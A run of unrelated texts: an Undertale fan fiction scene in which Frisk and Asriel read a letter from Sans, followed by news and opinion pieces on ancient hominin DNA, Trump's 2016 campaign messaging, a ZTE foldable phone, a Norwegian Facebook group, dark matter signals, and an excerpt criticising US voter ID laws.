Frisk didn’t answer. Asriel swung his legs back and forth for a little bit, then looked up at Frisk with mild resentment.
“You nearly scared me to death. Which would’ve been kind of a waste, after all that work.”
“Sorry. I didn’t mean to.” He realized something; his expression became worried. “Wait. Does that mean you had to-”
“Explain everything? A little bit, yeah. Haha.” The laugh was uncomfortably jagged. “I mean, Mom and Dad didn’t make me or anything, but you could definitely tell it was on their minds, so might as well get it over with, right?”
“How much did you tell them?”
“Some of it.” He paused, and shrugged. “Most of it. I mean, at first I wanted you to be around for it, that’d have definitely made it easier, but once I started talking it got real hard to stop, and then I saw the look on their faces and got kind of excited, so then that got them excited, and, and.” His words were rushing out alarmingly fast. “I m-mean, they did exactly what you s-said they would. No hard feelings. All’s forgiven. Lots of hugs. They kept saying, there, there, everything is g-going to b-b-be all r-r-r...”
Asriel seized one of his pillows and buried his face in it before the sobbing started. His whole body shook so hard he nearly fell off the bed. Frisk saw that the pillowcase was already quite soggy on both sides.
“Ohh, no, not this again,” he wept. “It’s every f-fifteen minutes, I’m gonna get d-d-dehydrated at this rate...” He tried to laugh and just sobbed harder. “This is one thing I didn’t miss, it’s pathetic, Chara was right when he kept calling me a c-c-crybaby...”
His words dissolved. He bent the pillow around his muzzle and pulled his knees up to his chin, to swallow as much of the sound as possible. No one knocked at the door. Asriel had evidently been trying hard to keep anyone from hearing this.
With difficulty, Frisk swung his legs over the edge of the bed and sat up. The seat of his pajama pants felt uncomfortably stiff, but he paid it no mind. He walked the length of the room, and sat down next to Asriel. Asriel kept bawling. He couldn’t bring himself to meet Frisk’s eye.
Frisk said, “I cried a lot, too.”
“Oh, come on.” Asriel’s breath hitched. “You’re j-just saying that to make me f-feel better.”
“It’s true.” He clasped his hands together. “Before I first fell. I’d cry until my eyes burned and it hurt to breathe. Until I started to feel sick. It got so bad I couldn’t walk around anymore. I was always too tired to move.”
Asriel sniffed and pulled the pillow away. His eyes were rimmed with red.
“How’d you get better?” he asked.
“Eventually I just stopped. Maybe I didn’t see the point anymore. No point in crying. No point in talking. Because nobody ever came to help me.” His tone was quiet, casual. “But it didn’t change anything. Even when the crying stopped, it still hurt. Just...differently. And when people finally started calling me, I didn’t know how to answer anymore.” He tilted his head toward Asriel, placed his hand flat on the bed. “I think it’s okay to cry, Asriel. It’s a lot better than forgetting how.”
Asriel sniffed, rubbed his eyes with his sleeve. He let the pillow fall; it made an audible squelch on contact with the carpet. He covered Frisk’s hand with his own.
“Frisk,” he said. “What are we going to do? You said we had to make it up to everyone. But I don’t even know where to start.”
Frisk didn’t reply. Instead, he fidgeted, his face scrunching up. Asriel looked confused.
“What’s wrong?”
“Something keeps...poking me.” He fished around in the back pocket of his pants. Paper crinkled. He pulled out an envelope like a magician’s trick. Asriel’s look of confusion intensified.
“Those clothes are brand new. How the heck did that get in there?”
“I don’t know.” He turned the letter over. “Never mind. Yes I do.”
He held it out to Asriel. On the front of the envelope, in thick, loopy print, was written the word:
heya.
Asriel did not look amused. “I never figured out how he does that.”
“Neither did I.” He opened the envelope. “Oh, wow.”
There was a sheet of paper inside covered with writing – Sans’ scribble was so small and dense that it was hard to make out the spaces between words. Frisk had to squint even harder to read it. Asriel leaned in curiously.
“What’s it say?”
“It’ll take me a while to read all this. Just look over my shoulder.”
“Okay.” Frisk heard the springs creak, then felt the heat of Asriel’s body against his own. He’d moved in so close that he was practically using Frisk’s shoulder as a chin-rest.
“...you’re a little close.”
“Yeah, but you said it’s hard to read it.”
“Okay, okay, just try to hold still.”
They peered down at Sans’ letter. It read:
Hey, Frisk.
Looks like you pulled it off. Got a little weird toward the end there, but like I said before, weird is good, right? I gave a quick explanation to Alphys so that she’d calm down a little after seeing the prince alive and well, but I’ll leave the rest of it to you and Asriel. Is Asriel there? Tell him I said hi.
“Sans says hi,” Frisk said.
Asriel waved at the letter. “Hi, Sans. No hard feelings.”
Anyway, if I know you half as well as I think I do, then I bet you’re feeling kind of weird yourself, huh? I mean, you won. Looks like you got everyone what they wanted. But even I’m still not totally sure we did the right thing. We toyed with a lot of people’s futures to get to this point, Frisk. Erased a lot of happy endings that could’ve been. You must be feeling awful torn up about that. And if you feel bad, I can only guess what Asriel’s going through. If you’re reading this little message when I think you are, then the two of you must be wondering how you can go on like this. How you can possibly make it up to everyone. So, hey, let me give you one last piece of advice.
Don’t worry about it.
Frisk blinked. He glanced to his side. Asriel was still reading intently. He looked back down at the letter.
Do you remember what I said at your first judgment? I mean, I don’t, but I’ve got the script lying around here somewhere. The more you distance yourself, the less you hurt. And the easier you can bring yourself to hurt others. I’m not saying that it’s good to feel awful. But I don’t think either of you have distanced yourselves all that much. Asriel might have, for a while, but there was some tricky stuff going on with him so I’m willing to let that slide.
You both know what it’s like to be hurt. I don’t think you’re in any hurry to make other people feel that way, no matter how easy it might be. In this skeleton’s opinion, that’s good enough for now. I told you about how bad memories can crowd out good ones, and if you just let your regrets weigh you down all the time that’s exactly what’ll happen. And that’d be a waste. I mean, you can’t regret hard choices your whole life, right?
Brace yourself for sappiness, kiddo: I’m proud of you. I think you’ll be able to do some pretty amazing things no matter what you try. Same goes for Asriel. But even if you just want to be ordinary for the rest of your lives, that’d be okay, too. Just continue to be yourselves. No one’ll blame you for it. No one’ll hate you for it. Heck, everyone’ll probably appreciate it. I’ve been checking out the underground during your nap. Everyone’s really stoked that you two are okay, and that’s no joke.
As for me, I’m gonna go traveling for a bit with Papyrus. Not that I could ever get enough of that adorable face of yours, but that whole business with the Doctor Gaster my big brother sorta made me want to spend more time with family. I’m actually excited, for once. And Papyrus is, you know, excited in general. Did I ever tell you about the time I replaced our toothpaste without telling him? He ran around all morning thinking Christmas had come early. Either way, I’ll be in touch with the Queen your m Toriel, so just ask her if you want to ring me up.
I’ll see you kids outside the mountain. Be good, okay? To yourselves and each other. That’s the best way you can atone for your (turn over)-
Frisk turned the paper over.
- shins.
That was the only word written on the other side – in the upper-left corner, in that same painfully tiny print. The rest of the sheet was taken up by a giant sketch of Sans’ winking face.
It was quite well-drawn.
The two of them stared in silence at that wink. Finally, Frisk spoke:
“I don’t get it.”
“I do and I hate it,” Asriel muttered.
Frisk looked up. “Then why are you smiling?”
“Am I?” He reached up to his face, felt the grin that had crept on there. Then, Frisk felt his own cheeks aching, just before Asriel said, “So are you.”
The gravity of Sans’ wink pulled their gazes back. The paper shook in Frisk’s hands as he bent over.
Their laughter started small, uncertain – the two of them were badly out of practice, after all. Awkward snorts and giggles as their lungs tried to remember how to let out the air. But then the sound built, and leapt, and before long the two of them were howling on the bed, their hands over their eyes; every time they looked at each other’s faces it set off another laughing fit. Their eyes watered. Their chests burned. Sans’ paper slipped out of Frisk’s grip and drifted merrily onto the carpet. Asriel’s bedroom door creaked a bit, as if someone on the other side had carefully leaned against it, and then creaked back. The two of them never noticed.
“Frisk,” Asriel gasped. “Frisk, we’ve gotta calm down. Mom’s going to think we’ve gone nuts.”
“I’m trying. I’m t-trying...” He tried to choke his voice back, glimpsed Sans winking at him from the carpet, and then started cackling again and rolled off the bed with his hands on his belly.
By the time their voices finally gave out, Asriel was spread-eagle on top of his comforter and Frisk sat on the ground with the letter clutched to his chest. Their breaths were deep, hesitant.
“Okay,” Asriel said. “I actually do kind of feel better now.”
“Sans does that to people. Ow, my face...” Frisk climbed back onto the bed, took out the envelope, replaced the letter. “I think I’ll hold onto this.”
Asriel’s smile dimmed a little. “Oh, that reminds me.”
He got down on the floor and reached under the bed. Frisk watched as he disappeared up to the ankles, the mattress bucking as he searched.
“I was gonna do this before I got all emotional.” He grunted and slid back out with a small box in his hands. It looked familiar. “Here.”
Frisk took the box from him and opened it. Inside was a small gold heart locket on a chain.
“Oh, I was wondering where this went. It’s yours, right?”
“Uh. Sort of.”
Frisk looked up at Asriel’s face. Asriel started to turn red. He looked back at the box. Then he felt heat rising in his own cheeks.
“Asriel, I-”
“I mean, you brought back Chara’s, and it’d be kind of silly for me to wear two of them, right? Haha.” He scritched at the carpet with his toe. “I sort of thought. I mean, it’d be only fair if.” He cleared his throat, and said quietly, “It’s yours. If you want it.”
Frisk took out the locket, felt how the chain snaked through his fingers. The gold heart lay cool on his palm.
“This really helped me out, the first time,” he said. “It made me feel safe.”
He put the necklace on, slipping the locket into his shirt.
“Thank you.”
“Yeah.” He kept staring at the floor. “Don’t mention it.”
Frisk got up off the bed and headed for the door. “I guess we’d better go. You ready?”
“There was one other thing.”
He looked back and saw Asriel in that same sheepish position, steadily gouging a hole into the floor with his toe. His body was luminous with embarrassment.
“I was watching you a lot,” he said. “You know. As Flowey. I saw you hug it out with pretty much everyone you met. Of course, at the time I thought it was really pathetic, but, you know, that was then and this is now, and.” He started to fidget with the front of his shirt. “I mean, you kinda did it once already, but that was with Chara, so I didn’t...I mean, I wouldn’t mind if you-”
“Just get over here, Asriel.”
Asriel held that pose for a second, then turned and cannonballed into Frisk hard enough to nearly send him flying into the door. He still wasn’t very strong, but he clutched at Frisk so tight that his ribs groaned in protest; it was like being squeezed by a bony teddy bear. His claws dug into Frisk’s spine. Frisk put one palm on the small of Asriel's back, another on top of his head, pressing in him closer. They buried their faces in each other's shoulders. They felt their smiles on each other's skin. They stood like that in the middle of his room, Asriel’s stuffed animals watching silently.
“Ha ha.” Asriel’s grip relaxed a little. “I don’t want to let go.”
“We’ve got time," Frisk said. And then: “I’m going to do a lot of this today, aren’t I?”
“Ohh, you have no idea. Watch out for Dad, he doesn’t know his own strength.” Finally, he released Frisk and stepped away. “Maybe I can convince him to eat with us for a change.”
Frisk nodded, and turned, and opened the door. The hall outside was empty, but they both smelled pie crust at once. Toriel was nothing if not consistent.
Frisk said, “After you.”
The two of them stepped out of the bedroom, down the hall, past the living room where Toriel’s old reading chair had finally seen some use. That scent enveloped them – pie crust, butterscotch and cinnamon, the sweet lemons from the flowers nodding in their various jars, and underneath it all, a garlicky whiff of snails. Maybe not what people would normally think about when they thought of home, but enough for Frisk to be satisfied.
He watched Asriel step into the kitchen, where Toriel’s cookery clattered.
|
organisms. Sequencing this “environmental DNA” is an increasingly powerful tool for studying ecosystems.
For instance, biologists were recently able to identify several caves where “baby dragons”, or olms, live simply by analysing the water flowing out of them.
In sediments buried in cool caves and in permafrost, this environmental DNA can survive for up to 700,000 years. In 2003, a team led by Eske Willerslev, now at the University of Cambridge, was the first to show that it was possible to find ancient DNA from species like the woolly mammoth, in frozen mud in Siberian permafrost.
Now Slon’s team has shown that ancient human DNA can survive in sediments too. Her team sequenced all the DNA present in sediment samples from sites where hominins lived, such as Denisova cave in Russia. The biologists then used short pieces of modern human mitochondrial DNA to extract longer bits of DNA containing a matching sequence from the samples.
The team looked for DNA from the energy-generating mitochondria within our cells, because they each contain the same DNA and there are hundreds per cell, so it is the type most likely to survive.
The real thing
The team found ancient hominin mitochondrial DNA in samples from four of the seven sites they looked at. The DNA probably came from human excreta or from rotting soft tissue.
The discovered sequences had damage characteristic of ancient DNA and contained variants known to be unique to Neanderthals or Denisovans, so the team is sure they are the real thing, says Slon.
Ancient humans are just another mammal, points out Willerslev. Given that we can find the DNA of woolly rhinoceroses and cave bears in sediments, it’s not surprising that we can find ancient hominin DNA as well.
Slon’s team was even able to show that DNA from more than one individual was present in two of the samples.
The team now plans to look for DNA at some of the many hominin sites where no fossils have been found. “There are a lot of sites where there are stone tools, but it is unclear who made them,” says Slon.
Now we could start to get some answers. And if we can find enough ancient human DNA, it could even give us a better picture of how our ancestors moved around.
What could be an issue, says Willerslev, is establishing exactly how old ancient hominin DNA is. “Cave sediments are often highly disturbed,” he says, which makes it hard to accurately date them.
Journal reference: Science, DOI: 10.1126/science.aam9695
Read more: Rare ‘baby dragons’ discovered in five new caves thanks to DNA; DNA sequencing turns rivers into ecosystem surveillance systems; First Americans may have been Neanderthals 130,000 years agoDon’t look at who Donald Trump says he’s speaking to. Look at who’s in the room when he says it.
Yes, Trump has taken to addressing some portion of his stump speech to black voters. "What have you got to lose?" he rhetorically asks a hypothetical black audience.
Yes, he's now calling Hillary Clinton " a bigot who sees people of color only as votes, not as human beings worthy of a better future," as he did in a rally in Jackson, Mississippi on Thursday.
And yes, Trump and campaign surrogates have begun hinting flirtatiously that they could be persuaded to stop calling for the deportation of 11 million unauthorized immigrants from the US.
As attempts at black and Latino outreach, these are probably too little too late. Trump is doing so badly among African Americans that, in more than one poll, the percentage of black support for Trump is smaller than the margin of error. And for the last year, Latino voters have been hearing that Donald Trump thinks Mexican immigrants are rapists and murderers, unauthorized immigrants "have to go," and Latinos can’t be fully American.
It’s so obviously dead on arrival as a strategy, in fact, that it’s barely worth thinking about in the terms it was presented.
So think instead about how it might succeed.
Donald Trump’s racism hasn’t just turned off nonwhite voters. It’s turned off many white moderates and Republicans who would probably vote for any other Republican presidential nominee over Hillary Clinton, but are worried that Trump is simply too offensive, too bullying, and too bitter to lead the free world.
Unlike nonwhite voters, though, wavering Republicans are still looking for a reason to vote Trump. And Trump’s show of racial unity is what they need to feel that, once again, Republicans have the high ground when it comes to race and identity.
There are lots of wavering Republicans out there — but they want to come back to the fold
There are a lot of Republicans who are not exactly enthusiastic about their party’s nominee.
A recent Gallup poll found that only 46 percent of Republicans are happy with Trump; 52 percent wished the party had nominated someone else for the presidency. (If those numbers sound bad, consider that those voters had a slightly better perception of Trump in May than they do after three months of general election campaigning.) Thirty-eight percent of "Republican-leaning" voters, according to Morning Consult, have an unfavorable view of Trump — and that, too, hasn’t really changed over the course of the summer.
Unenthusiastic Republican voters are very bad for Republicans. It’s bad enough that, while Democrats almost always do worse among "likely voters" than "registered voters," Clinton’s margin over Trump is bigger among the people most likely to vote. If Republicans stay home (or decline to vote for Trump), the election will be a bloodbath.
And without a presidential candidate to bring them to the polls, they’re less likely to vote at all — potential disaster for down-ballot Republicans in close races.
But it’s still August. The battle isn’t lost yet. And while these voters might not be sold on Trump, they do know exactly how they feel about Hillary Clinton. They really, really, really do not like her. A sky-high 72 percent of Republican-leaning voters have a "very unfavorable" view of Clinton, according to Morning Consult.
Many of these voters simply need a reason to get on board the Trump train instead of just not showing up to vote.
They need evidence that Trump’s running mate Mike Pence and the rest of the establishment Republicans around him are correct: Donald Trump is learning how to talk to the American public, and once he’s learned that he’ll have all the virtues of an outsider candidacy with none of the vices.
They need something to point to: a pivot, a softening. They need a script: I used to think that Donald Trump was too coarse/unpredictable/offensive, but then he started doing ____ and he’s moving in the right direction now.
They’ve been burned on that before: Republicans have been making the excuse that Trump is still "learning" since the beginning of 2016, and the waverers clearly aren’t convinced that he’s made much progress.
Trump’s rebuilt campaign has plenty of experience with messaging to rank-and-file Republicans
Donald Trump’s campaign has historically not been very good at talking to rank-and-file Republicans who are skeptical of Donald Trump, but that is quietly changing.
The Trump campaign pulled off something of a messaging coup last week when it overhauled its senior campaign staff. It let it be known that Donald Trump had been unacceptably muzzled and controlled by Washington insiders, and that the new leadership team would make Trump Trump again.
Behind the scenes, it was quietly integrating its messaging and outreach operations with the Republican National Committee. RNC communications director Sean Spicer is spending some of his time in the (newly expensive) Trump campaign offices in Trump Tower; RNC chair Reince Priebus and Hispanic communications director Helen Aguirre Ferré were there with Trump for the Hispanic advisory group meeting Saturday.
Then there’s Trump’s new campaign manager, Kellyanne Conway, a veteran of a pro-Ted Cruz Super PAC who rose through the ranks in Trumpland by finding a way to let Donald Trump feel that her pieces of advice were simply suggestions and that his decisions were his own ideas.
These are people with experience communicating to the Republicans who are now wavering on Trump. It shouldn’t be a surprise that the things coming out of Trump’s mouth now may be more appealing to them.
Reassuring wavering Republicans that Trump isn’t trying to inflame racial tensions
The traditional Republican narrative on race has been that it should no longer be relevant to American life. People who really care about race are racists, no matter their skin color. David Duke is bad, but Black Lives Matter is also bad (or at least inherently suspect), because "all lives matter" ought to be an uncontroversial statement in 2016. They may not believe the Republican Party needs to be more proactive in reaching out to nonwhite voters, but they certainly believe the party shouldn’t be doing anything to deliberately drive them away.
Donald Trump — and, particularly, some of his more enthusiastic supporters — aren’t exactly plausible messengers of post-racial harmony. Trump’s used the ethnicity of a federal judge as a character flaw. His campaign routinely ejects nonwhite people, including supporters (and local Republican officials), from his rallies. David Duke is running for Senate because Donald Trump has made white supremacy great again. It’s enough to make any Republican who believed that racism was over in America feel vaguely queasy.
Crucially, though, these are voters who believe that racism is a matter of intent — not effect. They don’t necessarily need to see their party get more diverse to believe that it’s doing the right thing. When Trump tells white voters that he is reaching out to black voters, that soothes their biggest concern: He’s not trying to divide the country along politico-racial lines.
"The era of division will be replaced with a future of unity. TOTAL UNITY. We will love each other," Trump says at Michigan rally. — Jennifer Jacobs (@JenniferJJacobs) August 19, 2016
The Trump campaign has actually been trying to push this message — that they are the uniters, not the dividers, of America’s racial tensions — for some time.
In Trump’s acceptance speech at the Republican National Convention, he promised, "When I am president, I will work to ensure that all of our kids are treated equally, and protected equally. Every action I take, I will ask myself: Does this make life better for young Americans in Baltimore, Chicago, Detroit, Ferguson who have as much of a right to live out their dreams as any other child in America?" He closed a foreign policy speech last week with a "pledge" along similar lines.
But in both cases, barely anyone noticed — the dark and divisive rhetoric in both speeches overwhelmed the relatively sunny promise of national unity.
The Trump campaign finally had to paste the closing of the foreign policy address into a standalone Facebook post to get attention — and when it did, it was characterized as a new development in the candidate’s rhetoric.
This is my pledge to the American people: as your President I will be your greatest champion. I will fight to ensure... Posted by Donald J. Trump on Dienstag, 16. August 2016
Something similar is at play in the current controversy over whether Trump is in the midst of changing either his proposals on immigration or the rhetoric he uses to describe them.
Leading up to what his campaign had hyped as "immigration week," a Trump campaign meeting with Hispanic leaders led some attendees to think the candidate was open to legalizing some unauthorized immigrants.
The campaign’s subsequently made it clear that while that is unlikely, some change is certainly afoot. On Sunday, Conway replied to a question about Trump’s stance with "to be determined. On Monday, the campaign canceled a Colorado speech on the issue, scheduled for Thursday, on the grounds that the speech was "still being modified."
Trump may not be changing his actual proposals on immigration. But he may well stop promising to deport 11 million people (and, possibly, their US-born children) from the US over the course of 18 months — something that even anti-immigration interest groups don’t call for, and which sounds kind of extreme to Americans whose feelings toward immigrants are complicated (which is many of them).
Trump’s stopped replying bluntly that "they have to go," and started repeating the phrase "firm but fair." What that means as policy is unknown — but the policy matters more to actual Latino voters than it does to wavering Republicans. The latter group just doesn’t want their nominee to be deliberately cruel.
The way Trump is talking now allows Republicans to feel they’ve reclaimed the moral high ground
The reason Trump’s unity message is perfect for wavering Republicans is that they want to view the Republican Party as the party that sees Americans for the content of their character — while Democrats seem content to characterize Americans for the color of their skin. If Trump is reaching out to black voters — and he is! He says he is! — then it’s the fault of black voters themselves if they stay duped by the Democratic Party.
This is why Trump’s "pitch" to black voters, which focuses on how terrible inner cities are ("You're living in poverty, your schools are no good. You have no jobs, 58 percent of your youth is unemployed") is appealing to suburban Republicans. They may not all agree on whether African Americans are morally deserving of their high-crime surroundings and poor economic prospects, but they certainly tend to be united in blaming generations of Democratic political leadership for allowing those things to happen.
Wavering Republicans likely see Trump making an effort to reach out to all Americans. And they see Democrats, led by the Clinton campaign, dismissing that effort — seeking to define Trump by the things he’s said in the past, rather than the things he’s saying now. They see Democrats insisting that no matter what Donald Trump is saying right now, he really does want to kick 16 million people out of the country.
To the people who wanted to see a change in Trump, that reaction from Democrats looks narrow-minded and ungenerous. It seems like Trump is learning how to say the right things, and Democrats would rather play politics than acknowledge it. It looks like Trump is growing in skill, and Democrats are shrinking in generosity. It looks like they’re the ones being the real hardliners, and trying to use race for division after all.WATCH: Tucker Clashes on White House Leaks With Fmr Homeland Security Consultant
Jesse Watters had some fun with wrestling fans at Madison Square Garden on Friday, asking them what they thought of President Trump's tweeting a fake GIF of himself tackling CNN.
The president on Sunday tweeted a video of himself body-slamming a man with a CNN logo for a head. The video was originally 2007 footage of a stunt Trump did at WrestleMania XXlll, where he wrestled Vince McMahon to the floor.
“CNN has really taken it too seriously, and I think they have really hurt themselves very badly," the president said.
One fan held nothing back, saying "I love everything Trump does."
"President Trump tackled CNN the way he's going to tackle fake news and the way he's going to make America great again," one fight watcher said.
Another said that "of course" the image does not inspire him to commit violence against anyone at CNN.
Watch wrestling attendees' reactions above.
VIDEO: Pres. Trump and Vladimir Putin Meet at G-20 Summit
Krauthammer: 'KGB Agent,' 'Liar' Putin Would Never Admit to Election Meddling
Podesta Twitter Rant Calls Trump 'Whack Job,' Denies Keeping DNC Servers From FBIWe’ve long known, at least according to rumors and speculations that there would be a foldable phone from ZTE named ZTE Axon M or ZTE Multy. Now whatever we knew about the said device from rumor mill has been pretty much given more credence by the FCC. A ZTE phone with the model number (Z999) has gone through the FCC. From the diagram, it is pretty much obvious the device in question is a foldable phone.
The FCC listing, as well as documentations, accompanying the device doesn’t reveal much about the device, it did reveal the device will be announced as ZTE Axon M, will run on Android v7.1.2, Nougat and will be exclusive to AT&T at least in the US.
As we already know, the highlights of the phone will be its foldable design, featuring dual displays such that it will have a screen both on its front and its back when folded.
Previous rumors point towards the ZTE Axon M packing a 6.8-inch display with 1920×2160 pixels, Snapdragon 820, 4GB of RAM, a 20MP camera, and 3,120 mAh battery.
As for release date, the device may launch alongside other ZTE devices at a ZTE scheduled event on October 17 in New York.A Facebook user shared 23 screenshots of people's strange reactions to the empty seats. Screenshot: Facebook/Sindre Beyer
A Facebook group for Norwegians opposed to immigration was widely mocked after members apparently could not tell the difference between empty bus seats and burka-clad women.
A user posted a photo of empty bus seats to the Facebook group Fedrelandet viktigst (roughly translated as ‘Fatherland first’) with the question “what do people think about this?”
What they thought is apparently that they were seeing a bus full of burka-clad women and proof of the ‘Islamification’ of Norway.
Member after member sounded off on how “frightening”, “tragic” and “scary” the scene was. Others decried that such a thing could happen in Norway (it didn’t) and worried that the phantom passengers could have “weapons and bombs” under their garments (they didn't because, well, there were no passengers).
“It looks really scary, should be banned. You can never know who is under there. Could be terrorists with weapons,” one group user wrote.
“Get them out of our country, those who look like collapsed umbrellas. Frightening times we are living in,” wrote another.
“I thought it would be like this in the year 2050, but it is happening NOW!!!!” another alarmist chimed in.
The responses from the closed group went viral after Facebook user Sindre Beyer posted screenshots of people’s incredulous reactions.
“What happens when a photo of some empty bus seats is posted to a disgusting Facebook group and nearly everyone thinks they see a bunch of burkas?” he wrote in a post that was shared over 1,500 times and elicited widespread mockery of the Fedrelandet viktigst group.
“Just when I thought that nothing from that group could surprise me, they manage to actually surprise me,” a commenter wrote in response to Beyer’s post.
“I think I passed the test because the first thing I saw was a group of Darth Vaders,” cracked another.
“This is the best thing I’ve seen from blind racists since The Chappelle Show,” another user wrote in reference to the American comic’s infamous ’Clayton Bigsby ’ skit.
“I can definitely see the humour in it but with that being said I’m left shaking my head over the fact that people could react like that; sad,” wrote another.
Beyer told Nettavisen that he has been following the group, which has nearly 13,000 members, for some time now.
“I’m shocked by how much hate and fake news is spread there. The hatred that was displayed toward some empty bus seats really shows how much prejudices trump wisdom,” he said.
“That’s why I shared the post so that more people can see what is happening in the dark corners of the web,” he added.
The head of the Norwegian Centre Against Racism (Antirasistisk senter) told Nettavisen that the irrational response to six empty bus seats just goes to show how quickly people jump to conclusions.
“People see what they want to see and what they want to see are dangerous Muslims. In a way it’s an interesting test of how quickly people can find confirmations of their own delusions,” Rune Berglund Steen said.
Steen said the photo portrays a scene hardly ever seen in Oslo, no matter how you look at it.
“The busses aren’t full of creepy Islamists and neither do they typically have so many empty seats,” he said.An orbiting gamma-ray telescope that has stared into deep space for four years may have picked up signs of dark matter in the Virgo Cluster of Galaxies. The Fermi Large Area Telescope could have spotted an as-yet undetected particle – a dark matter candidate called a neutralino (not a neutrino).
In a study published in January of this year (arXiv:1201.1003v1), Jiaxin Han, Carlos Frenk and others in China, the UK and Germany saw something unusual. Three galaxy clusters—Virgo, Fornax and Coma, showed an excess of high-energy gamma-rays that couldn’t be accounted for from sources such as pulsars, gamma-ray bursts or background emissions – including from within our own Galaxy.
Something else seemed to be emitting radiation; something that continued three degrees out from the clusters (around six times the diameter of the full moon on the sky). However, they couldn’t be sure if the neutralino or some other effect was responsible.
The problem is that dark matter, save for its gravitational effect on radiation and normal matter (the type that makes up stars, galaxies, planets, nebulae, etc.), has never revealed itself. It’s a field of intense study in astrophysics as it accounts for 83-per cent of all the matter in the Universe – forming the nucleation sites of galaxies and creating the large-scale cosmic structure that we see.
This ‘lumpiness’ favours cold dark matter theories as warm dark matter would be too energetic to coalesce. The neutralino, a ‘supersymmetric’ particle is the favoured candidate. It is its own antiparticle so self-annihilations should produce gamma-rays of between 10—10,000Gev.
Now a team from New Zealand think that what they have spotted could indeed be neutralino annihilations, but they also sound a note of caution. Oscar Macías-Ramírez and his team from Canterbury University, Christchurch, used simulations from a study called the Phoenix Project* to model galaxy cluster Dark Matter halos and subhalos. They looked at the previous study by Han, Frank et al which had a strong (but not conclusive) claim to detecting neutralino annihilations. This weakened when cosmic ray contributions were added.
To be thorough, Macías-Ramírez’s team found point sources deep in the data that may have been missed and included them in their study. What they’ve found is that the non-cosmic ray case gives an increased confidence level: the fabled ‘5-sigma’ result made famous by the recent discovery of the Higgs Boson when the new point sources were not included. But when the new point sources were included, that confidence level fell dramatically. Including the effects of cosmic rays is expected to reduce the significance of the proposed dark matter signal even more. The nature of dark matter (and the existence of the neutralino) it seems, is still a mystery.
What the studies show is that accounting for all possible sources of gamma rays is important in the hunt for the neutralino as it can have a huge impact on results. It’ll be something to temper the efforts of other teams around the world racing to find that first definitive Dark Matter result.
*The Phoenix Project consists of Anders Pinzke, Christoph Pfrommer and Lars Bergström from the University of California Santa Barbara, Heidelberg Institute for Theoretical Studies, the Oskar Klein Centre for Cosmoparticle Physics and Stockholm University respectively.This poll is now closed. The most popular question was: "Are the constants of nature really constant?" We will publish the answer in an article and podcast on Plus shortly. Thank you for taking part!
This is our second online poll in our series to celebrate the International Year of Astronomy 2009. Choose your favourite question from the list on the right, and we'll put the one that proves most popular to world-leading astronomers and cosmologists, including Astronomer Royal Martin Rees and author and cosmologist John D. Barrow. The poll will remain open for a month and the answer will be published in a Plus article and podcast soon after. If your most burning question is not on this list, then leave a comment on this blog and we'll endeavour to include it in a future poll — there will be five more polls dotted throughout the year.
The most popular question in our first poll was "What happened before the Big Bang?". You can now read the mind-boggling answer here on Plus, and discuss it on our blog.
Labels: IYA2009With Supreme Court blessings, voter ID laws are taking the nation by storm, or storm troops.
For The Progressive
An excerpt from Greg Palast’s brand new book Billionaires & Ballot Bandits
How to Steal an Election in 9 Easy Steps.
Stop me if you heard this one. See, these ten nuns walk into a polling station in Indiana and the guy in charge says, “Whoa, Sisters! What do think you’re doing?”
“Voting,” says Sister Mary.
“Well, not here, ladies; not without your ID!” He demanded their driver’s licenses, but the ten quite elderly Sisters of the Holy Cross, including a 98 year-old, had long ago given up cruising.
“Scram, Sis!” said the man, and kicked their habits right out of the polling station.
I may not have gotten the dialogue exactly right, but I got the gist of it and the facts: the ten nuns who’d been voting at that station for decades were booted out in 2008, just after the state of Indiana’s Republican legislature imposed new voter ID laws.
The reason for nixing the nuns? To stop voter identity theft. There wasn’t exactly a voter identity crime wave. In fact, despite no photo ID requirement, there wasn’t a single known case of false identity voting in the state in over one hundred years.
About four hundred thousand voters (9 percent of Indiana’s electorate) are African American. Nearly one in five (18.1 percent) lack the ID needed to vote, according to Matt Barreto of the University of Washington.
That’s twice the number of whites lacking ID. Therefore, as many as 72,000 black voters will get the boot when they show up to vote this November. Coincidentally, that’s three times Barack Obama’s victory margin in that state in 2008. Coincidentally.
And who are the white folk lacking ID? The elderly, like the sisters, and students like Angela Hiss and Allyson Miller, whose official state IDs don’t list their dorm room addresses and so can’t be used to vote.
Black folk, the elderly, students, poor whites blocked from registering and voting—a federal judge didn’t think it was all that coincidental. Justice Terence Evans could see a pattern: “The Indiana voter photo ID law is a not-too- thinly veiled attempt to discourage election-day turnout by certain folks believed to skew Democratic.”
But Supreme Court Justice is blind. The Indiana law does provide a voter the chance to obtain an ID from government offices. The average voter’s distance to the office is seventeen miles. By definition, the folks that need the ID don’t drive. And the ninety-eight-year-old is pretty darn slow in her walker.
A lawyer for Indiana voters told me that the average bus trip back and forth, requiring two changes, takes an entire work day. They tested it. But Supreme Court Justice Antonin Scalia ruled that the law was fair and provided “equal protection” to all voters because “seventeen miles is seventeen miles for the rich and the poor.”
Our investigative team decided to check that assump- tion. Justice Scalia drives a black BMW. No kidding. What he meant to say is that whether a poor person or a rich person is driving a BMW, it takes the same time. And whether the BMW is black or white doesn’t matter either.
With Supreme Court blessings, voter ID laws are taking the nation by storm, or storm troops.
Apparently, the idea came to Karl Rove while buying his pampers. He told the Republican National Lawyers Association, “I go the grocery store and I want to cash a check to pay for my groceries, I have to show a little bit of ID. [So, why not when] it comes to the most sacred thing in our democracy?”
(Actually, Karl, you don’t have to show ID to swallow the Eucharist or matzo. But if by “most sacred thing” in our democracy you mean making donations to American Crossroads, you don’t need ID for that anymore either. If you mean voting is sacred, then it shouldn’t be dependent on taking a driving test, should it?
Anyway, I’d love to see Rove actually cashing a check at a grocery store, especially one written by the Ice Man. But I digress.)
Santiago Juarez sees some truth in Rove’s remarks. I met with Santiago in Espanola, New Mexico, where he was running a registration drive among low-riders, the young Mexican Americans who cruise the street in hopping, bopping, neon-lit Chevys. He says, “And who’s going to give these kids a credit card?” Of course, you can always get ID from a state office... if you already have ID.
Voting-rights lawyer John Boyd, who works for both parties, is alarmed by the “thousands and thousands” of poor people in each state that will lose their vote because of new ID laws.
“I don’t have any doubt this could decide the election,” he told me. “People don’t understand the enormity of this.”
People don’t. But Karl does.
And so does the Brennan Center. The Brennan Center for Justice at New York University Law School brings together America’s most prestigious scholars in the field of voting rights who are widely ignored because of their unquestioned expertise. The Brennan Center reports that the ID laws are racist, ageist, classist, and the stupidest way to stop “fraud.”
Here’s the Brennan Center breakdown of those without government photo ID:
6.0 million seniors
5.5 million African Americans
8.1 million Hispanics
4.5 million 18-24 year olds
